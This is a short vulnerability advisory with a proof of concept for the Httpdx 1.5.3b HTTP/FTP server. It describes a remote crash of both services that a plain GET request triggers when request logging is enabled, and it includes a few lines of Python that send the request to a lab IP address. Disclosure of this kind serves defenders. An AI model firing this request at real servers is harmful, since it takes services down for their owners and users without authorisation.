Program : Httpdx v1.5.3b PoC : Remote Crash Service (if http.log=1) Homepage : http://sourceforge.net/projects/httpdx/ Found by : Jonathan Salwan This Advisory : Jonathan Salwan Contact : j.salwan@xxxxxxxxxxxx //----- Application description Single-process HTTP1.1/FTP server; no threads or processes started per connection, runs with only few threads. Includes directory listing, virtual hosting, basic auth., support for PHP, Perl, Python, SSI, etc. All settings in one config/script file. //----- Description of vulnerability The vulnerability is caused due to set http.log=1 in httpdx.conf - Error Writting log This can be exploited to crash all services http & ftp. Use simple GET request for crash service. //----- Credits http://www.sysdream.com/article.php?story_id=325§ion_id=78 http://www.shell-storm.org import urllib import urllib2 url = 'http://172.16.240.128/' req = urllib2.Request(url) answer = urllib2.urlopen(req) page = answer.read()